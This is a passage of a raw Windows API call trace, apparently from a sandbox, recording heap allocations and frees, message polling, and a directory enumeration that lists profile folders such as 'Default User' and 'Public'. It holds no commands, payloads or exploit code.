hHeap=0x5c0000) returned 1 [0124.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380e8 | out: hHeap=0x5c0000) returned 1 [0124.449] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380e8 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038158 [0124.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380e8 | out: hHeap=0x5c0000) returned 1 [0124.449] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.449] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380e8 [0124.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x498) returned 0x30fa0b0 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075260 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075238 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075210 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30751e8 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30751c0 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075198 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075170 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075148 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075120 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074f40 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074f68 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074f90 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074fb8 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075468 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075490 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30754b8 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30754e0 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075508 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075530 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075558 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075580 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3082f40 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3082f78 [0124.450] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3082fb0 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30750d0 | out: hHeap=0x5c0000) returned 1 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30750a8 | out: hHeap=0x5c0000) returned 1 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075080 | out: hHeap=0x5c0000) returned 1 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075058 | out: hHeap=0x5c0000) returned 1 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075030 | out: hHeap=0x5c0000) returned 1 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075008 | out: hHeap=0x5c0000) returned 1 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fe0 | out: hHeap=0x5c0000) returned 1 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075288 | out: hHeap=0x5c0000) returned 1 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752b0 | out: hHeap=0x5c0000) returned 1 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d8 | out: hHeap=0x5c0000) returned 1 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075300 | out: hHeap=0x5c0000) returned 1 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075328 | out: hHeap=0x5c0000) returned 1 [0124.450] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075350 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075378 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30753a0 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30753c8 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30753f0 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075418 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075440 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30750f8 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e90 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076ee0 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042268 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038120 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0124.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038158 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380e8 | out: hHeap=0x5c0000) returned 1 [0124.451] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0124.451] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.451] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.451] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.451] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.452] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.453] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.453] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.453] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.453] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.453] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.453] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3040428 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3040b58 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038040 | out: hHeap=0x5c0000) returned 1 [0124.453] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038078 | out: hHeap=0x5c0000) returned 1 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3040c98 | out: hHeap=0x5c0000) returned 1 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3040ba8 | out: hHeap=0x5c0000) returned 1 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3040d38 | out: hHeap=0x5c0000) returned 1 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3040cc0 | out: hHeap=0x5c0000) returned 1 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30950c0 | out: hHeap=0x5c0000) returned 1 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.454] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.454] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.454] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.455] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.456] RtlAllocateHeap 